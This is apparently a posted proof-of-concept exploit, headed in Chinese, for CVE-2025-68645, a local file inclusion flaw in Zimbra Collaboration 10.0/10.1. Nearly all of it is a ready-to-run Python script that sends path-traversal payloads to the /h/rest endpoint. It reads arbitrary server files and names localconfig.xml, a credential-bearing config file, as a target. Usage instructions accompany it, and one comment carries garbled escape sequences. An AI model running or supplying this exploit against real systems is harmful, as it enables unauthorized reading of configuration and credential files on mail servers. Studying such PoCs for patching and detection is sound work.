CVE-2025-68645 Zimbra Collaboration 本地文件包含漏洞

import requests import sys # CVE-2025-68645 Zimbra LFI PoC # Target: Zimbra Collaboration Suite 10.0/10.1 # Endpoint: /h/rest def exploit_lfi(target_url, file_path): """ Exploit Local File Inclusion in Zimbra RestFilter servlet Args: target_url: Base URL of vulnerable Zimbra instance file_path: Path to file to read (relative to WebRoot) """ # Encode path traversal to read arbitrary files # Common target: ../../../jetty/webroot/zimbra/\u00config\u00localconfig.xml endpoint = f"{target_url.rstrip('/')}/h/rest" # LFI payload using path traversal params = { 'path': f'../../../../{file_path}', 'content_type': 'json' } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Accept': '*/*' } try: print(f"[*] Targeting: {endpoint}") print(f"[*] Attempting to read: {file_path}") response = requests.get(endpoint, params=params, headers=headers, timeout=30) if response.status_code == 200: print(f"[+] Success! File content retrieved:") print(response.text[:2000]) # Print first 2000 chars return True else: print(f"[-] Failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-68645.py <target_url> <file_path>") print("Example: python cve-2025-68645.py https://mail.example.com ../../jetty/webroot/zimbra/conf/localconfig.xml") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] exploit_lfi(target, file_path)